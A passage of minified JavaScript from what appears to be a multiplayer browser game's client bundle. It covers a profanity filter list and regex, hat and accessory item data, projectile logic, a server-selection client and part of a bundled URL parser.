"god-dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off", "jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob", "knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock", "kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch", "l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked", "mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings", "mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker", "motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka", "motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther", "mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah", "niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky", "nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms", "p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk", "phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis", "piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing", "pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks", "pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard", "rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat", "scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger", "shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited", "shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits", "shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank", "slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk", "s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit", "titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck", "tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty", "twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se", "wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated", "xxx"]
}
, function(e, t) {
e.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi
}
, function(e, t) {
e.exports.hats = [{
id: 45,
name: "Shame!",
dontSell: !0,
price: 0,
scale: 120,
desc: "hacks are for losers"
}, {
id: 51,
name: "Moo Cap",
price: 0,
scale: 120,
desc: "coolest mooer around"
}, {
id: 50,
name: "Apple Cap",
price: 0,
scale: 120,
desc: "apple farms remembers"
}, {
id: 28,
name: "Moo Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 29,
name: "Pig Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 30,
name: "Fluff Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 36,
name: "Pandou Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 37,
name: "Bear Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 38,
name: "Monkey Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 44,
name: "Polar Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 35,
name: "Fez Hat",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 42,
name: "Enigma Hat",
price: 0,
scale: 120,
desc: "join the enigma army"
}, {
id: 43,
name: "Blitz Hat",
price: 0,
scale: 120,
desc: "hey everybody i'm blitz"
}, {
id: 49,
name: "Bob XIII Hat",
price: 0,
scale: 120,
desc: "like and subscribe"
}, {
id: 57,
name: "Pumpkin",
price: 50,
scale: 120,
desc: "Spooooky"
}, {
id: 8,
name: "Bummle Hat",
price: 100,
scale: 120,
desc: "no effect"
}, {
id: 2,
name: "Straw Hat",
price: 500,
scale: 120,
desc: "no effect"
}, {
id: 15,
name: "Winter Cap",
price: 600,
scale: 120,
desc: "allows you to move at normal speed in snow",
coldM: 1
}, {
id: 5,
name: "Cowboy Hat",
price: 1e3,
scale: 120,
desc: "no effect"
}, {
id: 4,
name: "Ranger Hat",
price: 2e3,
scale: 120,
desc: "no effect"
}, {
id: 18,
name: "Explorer Hat",
price: 2e3,
scale: 120,
desc: "no effect"
}, {
id: 31,
name: "Flipper Hat",
price: 2500,
scale: 120,
desc: "have more control while in water",
watrImm: !0
}, {
id: 1,
name: "Marksman Cap",
price: 3e3,
scale: 120,
desc: "increases arrow speed and range",
aMlt: 1.3
}, {
id: 10,
name: "Bush Gear",
price: 3e3,
scale: 160,
desc: "allows you to disguise yourself as a bush"
}, {
id: 48,
name: "Halo",
price: 3e3,
scale: 120,
desc: "no effect"
}, {
id: 6,
name: "Soldier Helmet",
price: 4e3,
scale: 120,
desc: "reduces damage taken but slows movement",
spdMult: .94,
dmgMult: .75
}, {
id: 23,
name: "Anti Venom Gear",
price: 4e3,
scale: 120,
desc: "makes you immune to poison",
poisonRes: 1
}, {
id: 13,
name: "Medic Gear",
price: 5e3,
scale: 110,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 9,
name: "Miners Helmet",
price: 5e3,
scale: 120,
desc: "earn 1 extra gold per resource",
extraGold: 1
}, {
id: 32,
name: "Musketeer Hat",
price: 5e3,
scale: 120,
desc: "reduces cost of projectiles",
projCost: .5
}, {
id: 7,
name: "Bull Helmet",
price: 6e3,
scale: 120,
desc: "increases damage done but drains health",
healthRegen: -5,
dmgMultO: 1.5,
spdMult: .96
}, {
id: 22,
name: "Emp Helmet",
price: 6e3,
scale: 120,
desc: "turrets won't attack but you move slower",
antiTurret: 1,
spdMult: .7
}, {
id: 12,
name: "Booster Hat",
price: 6e3,
scale: 120,
desc: "increases your movement speed",
spdMult: 1.16
}, {
id: 26,
name: "Barbarian Armor",
price: 8e3,
scale: 120,
desc: "knocks back enemies that attack you",
dmgK: .6
}, {
id: 21,
name: "Plague Mask",
price: 1e4,
scale: 120,
desc: "melee attacks deal poison damage",
poisonDmg: 5,
poisonTime: 6
}, {
id: 46,
name: "Bull Mask",
price: 1e4,
scale: 120,
desc: "bulls won't target you unless you attack them",
bullRepel: 1
}, {
id: 14,
name: "Windmill Hat",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "generates points while worn",
pps: 1.5
}, {
id: 11,
name: "Spike Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "deal damage to players that damage you",
dmg: .45
}, {
id: 53,
name: "Turret Gear",
topSprite: !0,
price: 1e4,
scale: 120,
desc: "you become a walking turret",
turret: {
proj: 1,
range: 700,
rate: 2500
},
spdMult: .7
}, {
id: 20,
name: "Samurai Armor",
price: 12e3,
scale: 120,
desc: "increased attack speed and fire rate",
atkSpd: .78
}, {
id: 58,
name: "Dark Knight",
price: 12e3,
scale: 120,
desc: "restores health when you deal damage",
healD: .4
}, {
id: 27,
name: "Scavenger Gear",
price: 15e3,
scale: 120,
desc: "earn double points for each kill",
kScrM: 2
}, {
id: 40,
name: "Tank Gear",
price: 15e3,
scale: 120,
desc: "increased damage to buildings but slower movement",
spdMult: .3,
bDmg: 3.3
}, {
id: 52,
name: "Thief Gear",
price: 15e3,
scale: 120,
desc: "steal half of a players gold when you kill them",
goldSteal: .5
}, {
id: 55,
name: "Bloodthirster",
price: 2e4,
scale: 120,
desc: "Restore Health when dealing damage. And increased damage",
healD: .25,
dmgMultO: 1.2
}, {
id: 56,
name: "Assassin Gear",
price: 2e4,
scale: 120,
desc: "Go invisible when not moving. Can't eat. Increased speed",
noEat: !0,
spdMult: 1.1,
invisTimer: 1e3
}],
e.exports.accessories = [{
id: 12,
name: "Snowball",
price: 1e3,
scale: 105,
xOff: 18,
desc: "no effect"
}, {
id: 9,
name: "Tree Cape",
price: 1e3,
scale: 90,
desc: "no effect"
}, {
id: 10,
name: "Stone Cape",
price: 1e3,
scale: 90,
desc: "no effect"
}, {
id: 3,
name: "Cookie Cape",
price: 1500,
scale: 90,
desc: "no effect"
}, {
id: 8,
name: "Cow Cape",
price: 2e3,
scale: 90,
desc: "no effect"
}, {
id: 11,
name: "Monkey Tail",
price: 2e3,
scale: 97,
xOff: 25,
desc: "Super speed but reduced damage",
spdMult: 1.35,
dmgMultO: .2
}, {
id: 17,
name: "Apple Basket",
price: 3e3,
scale: 80,
xOff: 12,
desc: "slowly regenerates health over time",
healthRegen: 1
}, {
id: 6,
name: "Winter Cape",
price: 3e3,
scale: 90,
desc: "no effect"
}, {
id: 4,
name: "Skull Cape",
price: 4e3,
scale: 90,
desc: "no effect"
}, {
id: 5,
name: "Dash Cape",
price: 5e3,
scale: 90,
desc: "no effect"
}, {
id: 2,
name: "Dragon Cape",
price: 6e3,
scale: 90,
desc: "no effect"
}, {
id: 1,
name: "Super Cape",
price: 8e3,
scale: 90,
desc: "no effect"
}, {
id: 7,
name: "Troll Cape",
price: 8e3,
scale: 90,
desc: "no effect"
}, {
id: 14,
name: "Thorns",
price: 1e4,
scale: 115,
xOff: 20,
desc: "no effect"
}, {
id: 15,
name: "Blockades",
price: 1e4,
scale: 95,
xOff: 15,
desc: "no effect"
}, {
id: 20,
name: "Devils Tail",
price: 1e4,
scale: 95,
xOff: 20,
desc: "no effect"
}, {
id: 16,
name: "Sawblade",
price: 12e3,
scale: 90,
spin: !0,
xOff: 0,
desc: "deal damage to players that damage you",
dmg: .15
}, {
id: 13,
name: "Angel Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "slowly regenerates health over time",
healthRegen: 3
}, {
id: 19,
name: "Shadow Wings",
price: 15e3,
scale: 138,
xOff: 22,
desc: "increased movement speed",
spdMult: 1.1
}, {
id: 18,
name: "Blood Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "restores health when you deal damage",
healD: .2
}, {
id: 21,
name: "Corrupt X Wings",
price: 2e4,
scale: 178,
xOff: 26,
desc: "deal damage to players that damage you",
dmg: .25
}]
}
, function(e, t) {
e.exports = function(e, t, i, n, s, o, a) {
this.init = function(e, t, i, n, s, o, r, c, l) {
this.active = !0,
this.indx = e,
this.x = t,
this.y = i,
this.dir = n,
this.skipMov = !0,
this.speed = s,
this.dmg = o,
this.scale = c,
this.range = r,
this.owner = l,
a && (this.sentTo = {})
}
;
var r, c = [];
this.update = function(l) {
if (this.active) {
var h, u = this.speed * l;
if (this.skipMov ? this.skipMov = !1 : (this.x += u * Math.cos(this.dir),
this.y += u * Math.sin(this.dir),
this.range -= u,
this.range <= 0 && (this.x += this.range * Math.cos(this.dir),
this.y += this.range * Math.sin(this.dir),
u = 1,
this.range = 0,
this.active = !1)),
a) {
for (var d = 0; d < e.length; ++d)
!this.sentTo[e[d].id] && e[d].canSee(this) && (this.sentTo[e[d].id] = 1,
a.send(e[d].id, "18", o.fixTo(this.x, 1), o.fixTo(this.y, 1), o.fixTo(this.dir, 2), o.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid));
for (c.length = 0,
d = 0; d < e.length + t.length; ++d)
!(r = e[d] || t[d - e.length]).alive || r == this.owner || this.owner.team && r.team == this.owner.team || o.lineInRect(r.x - r.scale, r.y - r.scale, r.x + r.scale, r.y + r.scale, this.x, this.y, this.x + u * Math.cos(this.dir), this.y + u * Math.sin(this.dir)) && c.push(r);
for (var f = i.getGridArrays(this.x, this.y, this.scale), p = 0; p < f.length; ++p)
for (var g = 0; g < f[p].length; ++g)
h = (r = f[p][g]).getScale(),
r.active && this.ignoreObj != r.sid && this.layer <= r.layer && c.indexOf(r) < 0 && !r.ignoreCollision && o.lineInRect(r.x - h, r.y - h, r.x + h, r.y + h, this.x, this.y, this.x + u * Math.cos(this.dir), this.y + u * Math.sin(this.dir)) && c.push(r);
if (c.length > 0) {
var m = null
, y = null
, k = null;
for (d = 0; d < c.length; ++d)
k = o.getDistance(this.x, this.y, c[d].x, c[d].y),
(null == y || k < y) && (y = k,
m = c[d]);
if (m.isPlayer || m.isAI) {
var w = .3 * (m.weightM || 1);
m.xVel += w * Math.cos(this.dir),
m.yVel += w * Math.sin(this.dir),
null != m.weaponIndex && n.weapons[m.weaponIndex].shield && o.getAngleDist(this.dir + Math.PI, m.dir) <= s.shieldAngle || m.changeHealth(-this.dmg, this.owner, this.owner)
} else
for (m.projDmg && m.health && m.changeHealth(-this.dmg) && i.disableObj(m),
d = 0; d < e.length; ++d)
e[d].active && (m.sentTo[e[d].id] && (m.active ? e[d].canSee(m) && a.send(e[d].id, "8", o.fixTo(this.dir, 2), m.sid) : a.send(e[d].id, "12", m.sid)),
m.active || m.owner != e[d] || e[d].changeItemCount(m.group.id, -1));
for (this.active = !1,
d = 0; d < e.length; ++d)
this.sentTo[e[d].id] && a.send(e[d].id, "19", this.sid, o.fixTo(y, 1))
}
}
}
}
}
}
, function(e, t) {
e.exports = function(e, t, i, n, s, o, a, r, c) {
this.addProjectile = function(l, h, u, d, f, p, g, m, y) {
for (var k, w = o.projectiles[p], v = 0; v < t.length; ++v)
if (!t[v].active) {
k = t[v];
break
}
return k || ((k = new e(i,n,s,o,a,r,c)).sid = t.length,
t.push(k)),
k.init(p, l, h, u, f, w.dmg, d, w.scale, g),
k.ignoreObj = m,
k.layer = y || w.layer,
k.src = w.src,
k
}
}
}
, function(e, t) {
e.exports.obj = function(e, t) {
var i;
this.sounds = [],
this.active = !0,
this.play = function(t, n, s) {
n && this.active && ((i = this.sounds[t]) || (i = new Howl({
src: ".././sound/" + t + ".mp3"
}),
this.sounds[t] = i),
s && i.isPlaying || (i.isPlaying = !0,
i.play(),
i.volume((n || 1) * e.volumeMult),
i.loop(s)))
}
,
this.toggleMute = function(e, t) {
(i = this.sounds[e]) && i.mute(t)
}
,
this.stop = function(e) {
(i = this.sounds[e]) && (i.stop(),
i.isPlaying = !1)
}
}
}
, function(e, t, i) {
var n = i(24)
, s = i(32);
function o(e, t, i, n, s) {
"localhost" == location.hostname && (window.location.hostname = "127.0.0.1"),
this.debugLog = !1,
this.baseUrl = e,
this.lobbySize = i,
this.devPort = t,
this.lobbySpread = n,
this.rawIPs = !!s,
this.server = void 0,
this.gameIndex = void 0,
this.callback = void 0,
this.errorCallback = void 0,
this.processServers(vultr.servers)
}
o.prototype.regionInfo = {
0: {
name: "Local",
latitude: 0,
longitude: 0
},
"vultr:1": {
name: "New Jersey",
latitude: 40.1393329,
longitude: -75.8521818
},
"vultr:2": {
name: "Chicago",
latitude: 41.8339037,
longitude: -87.872238
},
"vultr:3": {
name: "Dallas",
latitude: 32.8208751,
longitude: -96.8714229
},
"vultr:4": {
name: "Seattle",
latitude: 47.6149942,
longitude: -122.4759879
},
"vultr:5": {
name: "Los Angeles",
latitude: 34.0207504,
longitude: -118.691914
},
"vultr:6": {
name: "Atlanta",
latitude: 33.7676334,
longitude: -84.5610332
},
"vultr:7": {
name: "Amsterdam",
latitude: 52.3745287,
longitude: 4.7581878
},
"vultr:8": {
name: "London",
latitude: 51.5283063,
longitude: -.382486
},
"vultr:9": {
name: "Frankfurt",
latitude: 50.1211273,
longitude: 8.496137
},
"vultr:12": {
name: "Silicon Valley",
latitude: 37.4024714,
longitude: -122.3219752
},
"vultr:19": {
name: "Sydney",
latitude: -33.8479715,
longitude: 150.651084
},
"vultr:24": {
name: "Paris",
latitude: 48.8588376,
longitude: 2.2773454
},
"vultr:25": {
name: "Tokyo",
latitude: 35.6732615,
longitude: 139.569959
},
"vultr:39": {
name: "Miami",
latitude: 25.7823071,
longitude: -80.3012156
},
"vultr:40": {
name: "Singapore",
latitude: 1.3147268,
longitude: 103.7065876
}
},
o.prototype.start = function(e, t) {
this.callback = e,
this.errorCallback = t;
var i = this.parseServerQuery();
i ? (this.log("Found server in query."),
this.password = i[3],
this.connect(i[0], i[1], i[2])) : (this.log("Pinging servers..."),
this.pingServers())
}
,
o.prototype.parseServerQuery = function() {
var e = n.parse(location.href, !0)
, t = e.query.server;
if ("string" == typeof t) {
var i = t.split(":");
if (3 == i.length) {
var s = i[0]
, o = parseInt(i[1])
, a = parseInt(i[2]);
return "0" == s || s.startsWith("vultr:") || (s = "vultr:" + s),
[s, o, a, e.query.password]
}
this.errorCallback("Invalid number of server parameters in " + t)
}
}
,
o.prototype.findServer = function(e, t) {
var i = this.servers[e];
if (Array.isArray(i)) {
for (var n = 0; n < i.length; n++) {
var s = i[n];
if (s.index == t)
return s
}
console.warn("Could not find server in region " + e + " with index " + t + ".")
} else
this.errorCallback("No server list for region " + e)
}
,
o.prototype.pingServers = function() {
var e = this
, t = [];
for (var i in this.servers)
if (this.servers.hasOwnProperty(i)) {
var n = this.servers[i]
, s = n[Math.floor(Math.random() * n.length)];
null != s ? function(n, s) {
var o = new XMLHttpRequest;
o.onreadystatechange = function(n) {
var o = n.target;
if (4 == o.readyState)
if (200 == o.status) {
for (var a = 0; a < t.length; a++)
t[a].abort();
e.log("Connecting to region", s.region);
var r = e.seekServer(s.region);
e.connect(r[0], r[1], r[2])
} else
console.warn("Error pinging " + s.ip + " in region " + i)
}
;
var a = "//" + e.serverAddress(s.ip, !0) + ":" + e.serverPort(s) + "/ping";
o.open("GET", a, !0),
o.send(null),
e.log("Pinging", a),
t.push(o)
}(0, s) : console.log("No target server for region " + i)
}
}
,
o.prototype.seekServer = function(e, t, i) {
null == i && (i = "random"),
null == t && (t = !1);
const n = ["random"];
var s = this.lobbySize
, o = this.lobbySpread
, a = this.servers[e].flatMap((function(e) {
var t = 0;
return e.games.map((function(i) {
var n = t++;
return {
region: e.region,
index: e.index * e.games.length + n,
gameIndex: n,
gameCount: e.games.length,
playerCount: i.playerCount,
isPrivate: i.isPrivate
}
}
))
}
)).filter((function(e) {
return !e.isPrivate
}
)).filter((function(e) {
return !t || 0 == e.playerCount && e.gameIndex >= e.gameCount / 2
}
)).filter((function(e) {
return "random" == i || n[e.index % n.length].key == i
}
)).sort((function(e, t) {
return t.playerCount - e.playerCount
}
)).filter((function(e) {
return e.playerCount < s
}
));
if (t && a.reverse(),
0 != a.length) {
var r = Math.min(o, a.length)
, c = Math.floor(Math.random() * r)
, l = a[c = Math.min(c, a.length - 1)]
, h = l.region
, u = (c = Math.floor(l.index / l.gameCount),
l.index % l.gameCount);
return this.log("Found server."),
[h, c, u]
}
this.errorCallback("No open servers.")
}
,
o.prototype.connect = function(e, t, i) {
if (!this.connected) {
var n = this.findServer(e, t);
null != n ? (this.log("Connecting to server", n, "with game index", i),
n.games[i].playerCount >= this.lobbySize ? this.errorCallback("Server is already full.") : (window.history.replaceState(document.title, document.title, this.generateHref(e, t, i, this.password)),
this.server = n,
this.gameIndex = i,
this.log("Calling callback with address", this.serverAddress(n.ip), "on port", this.serverPort(n), "with game index", i),
this.callback(this.serverAddress(n.ip), this.serverPort(n), i))) : this.errorCallback("Failed to find server for region " + e + " and index " + t)
}
}
,
o.prototype.switchServer = function(e, t, i, n) {
this.switchingServers = !0,
window.location.href = this.generateHref(e, t, i, n)
}
,
o.prototype.generateHref = function(e, t, i, n) {
var s = "/?server=" + (e = this.stripRegion(e)) + ":" + t + ":" + i;
return n && (s += "&password=" + encodeURIComponent(n)),
s
}
,
o.prototype.serverAddress = function(e, t) {
return "127.0.0.1" == e || "7f000001" == e || "903d62ef5d1c2fecdcaeb5e7dd485eff" == e ? window.location.hostname : this.rawIPs ? t ? "ip_" + this.hashIP(e) + "." + this.baseUrl : e : "ip_" + e + "." + this.baseUrl
}
,
o.prototype.serverPort = function(e) {
return 0 == e.region ? this.devPort : location.protocol.startsWith("https") ? 443 : 80
}
,
o.prototype.processServers = function(e) {
for (var t = {}, i = 0; i < e.length; i++) {
var n = e[i]
, s = t[n.region];
null == s && (s = [],
t[n.region] = s),
s.push(n)
}
for (var o in t)
t[o] = t[o].sort((function(e, t) {
return e.index - t.index
}
));
this.servers = t
}
,
o.prototype.ipToHex = function(e) {
return e.split(".").map(e=>("00" + parseInt(e).toString(16)).substr(-2)).join("").toLowerCase()
}
,
o.prototype.hashIP = function(e) {
return s(this.ipToHex(e))
}
,
o.prototype.log = function() {
return this.debugLog ? console.log.apply(void 0, arguments) : console.verbose ? console.verbose.apply(void 0, arguments) : void 0
}
,
o.prototype.stripRegion = function(e) {
return e.startsWith("vultr:") ? e = e.slice(6) : e.startsWith("do:") && (e = e.slice(3)),
e
}
,
window.testVultrClient = function() {
var e = 1;
function t(t, i) {
(t = "" + t) == (i = "" + i) ? console.log(`Assert ${e} passed.`) : console.warn(`Assert ${e} failed. Expected ${i}, got ${t}.`),
e++
}
var i = new o("test.io",-1,5,1,!1);
i.errorCallback = function(e) {}
,
i.processServers(function(e) {
var t = [];
for (var i in e)
for (var n = e[i], s = 0; s < n.length; s++)
t.push({
ip: i + ":" + s,
scheme: "testing",
region: i,
index: s,
games: n[s].map(e=>({
playerCount: e,
isPrivate: !1
}))
});
return t
}({
1: [[0, 0, 0, 0], [0, 0, 0, 0]],
2: [[5, 1, 0, 0], [0, 0, 0, 0]],
3: [[5, 0, 1, 5], [0, 0, 0, 0]],
4: [[5, 1, 1, 5], [1, 0, 0, 0]],
5: [[5, 1, 1, 5], [1, 0, 4, 0]],
6: [[5, 5, 5, 5], [2, 3, 1, 4]],
7: [[5, 5, 5, 5], [5, 5, 5, 5]]
})),
t(i.seekServer(1, !1), [1, 0, 0]),
t(i.seekServer(1, !0), [1, 1, 3]),
t(i.seekServer(2, !1), [2, 0, 1]),
t(i.seekServer(2, !0), [2, 1, 3]),
t(i.seekServer(3, !1), [3, 0, 2]),
t(i.seekServer(3, !0), [3, 1, 3]),
t(i.seekServer(4, !1), [4, 0, 1]),
t(i.seekServer(4, !0), [4, 1, 3]),
t(i.seekServer(5, !1), [5, 1, 2]),
t(i.seekServer(5, !0), [5, 1, 3]),
t(i.seekServer(6, !1), [6, 1, 3]),
t(i.seekServer(6, !0), void 0),
t(i.seekServer(7, !1), void 0),
t(i.seekServer(7, !0), void 0),
console.log("Tests passed.")
}
;
var a = function(e, t) {
return e.concat(t)
};
Array.prototype.flatMap = function(e) {
return function(e, t) {
return t.map(e).reduce(a, [])
}(e, this)
}
,
e.exports = o
}
, function(e, t, i) {
"use strict";
var n = i(25)
, s = i(28);
function o() {
this.protocol = null,
this.slashes = null,
this.auth = null,
this.host = null,
this.port = null,
this.hostname = null,
this.hash = null,
this.search = null,
this.query = null,
this.pathname = null,
this.path = null,
this.href = null
}
t.parse = w,
t.resolve = function(e, t) {
return w(e, !1, !0).resolve(t)
}
,
t.resolveObject = function(e, t) {
return e ? w(e, !1, !0).resolveObject(t) : t
}
,
t.format = function(e) {
return s.isString(e) && (e = w(e)),
e instanceof o ? e.format() : o.prototype.format.call(e)
}
,
t.Url = o;
var a = /^([a-z0-9.+-]+:)/i
, r = /:[0-9]*$/
, c = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/
, l = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r", "\n", "\t"])
, h = ["'"].concat(l)
, u = ["%", "/", "?", ";", "#"].concat(h)
, d = ["/", "?", "#"]
, f = /^[+a-z0-9A-Z_-]{0,63}$/
, p = /^([+a-z0-9A-Z_-]{0,63})(.*)$/
, g = {
javascript: !0,
"javascript:": !0
}
, m = {
javascript: !0,
"javascript:": !0
}
, y = {
http: !0,
https: !0,
ftp: !0,
gopher: !0,
file: !0,
"http:": !0,
"https:": !0,
"ftp:": !0,
"gopher:": !0,
"file:": !0
}
, k = i(29);
function w(e, t, i) {
if (e && s.isObject(e) && e instanceof o)
return e;
var n = new o;
return n.parse(e, t, i),
n
}
o.prototype.parse = function(e, t, i) {
if (!s.isString(e))
throw new TypeError("Parameter 'url' must be a string, not " + typeof e);
var o = e.indexOf("?")
, r = -1 !== o && o < e.indexOf("#") ? "?" : "#"
, l = e.split(r);
l[0] = l[0].replace(/\\/g, "/");
var w = e = l.join(r);
if (w = w.trim(),
!i && 1 === e.split("#").length) {
var v = c.exec(w);
if (v)
return this.path = w,
this.href = w,
this.pathname = v[1],
v[2] ? (this.search = v[2],
this.query = t ? k.parse(this.search.substr(1)) : this.search.substr(1)) : t && (this.search = "",
this.query = {}),
this
}
var b = a.exec(w);
if (b) {
var x = (b = b[0]).toLowerCase();
this.protocol = x,
w = w.substr(b.length)
}
if (i || b || w.match(/^\/\/[^@\/]+@[^@\/]+/)) {
var S = "//" === w.substr(0, 2);
!S || b && m[b] || (w = w.substr(2),
this.slashes = !0)
}
if (!m[b] && (S || b && !y[b])) {
for (var I, T, M = -1, C = 0; C < d.length; C++)
-1 !== (P = w.indexOf(d[C])) && (-1 === M || P < M) && (M = P);
for (-1 !== (T = -1 === M ? w.lastIndexOf("@") : w.lastIndexOf("@", M)) && (I = w.slice(0, T),
w = w.slice(T + 1),
this.auth = decodeURIComponent(I)),
M = -1,
C = 0; C < u.length; C++) {
var P;
-1 !== (P = w.indexOf(u[C])) && (-1 === M || P < M) && (M = P)
}
-1 === M && (M = w.length),
this.host = w.slice(0, M),
w = w.slice(M),
this.parseHost(),
this.hostname = this.hostname || "";
var E = "[" === this.hostname[0] && "]" === this.hostname[this.hostname.length - 1];
if (!E)
for (var O = this.hostname.split(/\./), B = (C = 0,
O.length); C < B; C++) {
var j = O[C];
if (j && !j.match(f)) {
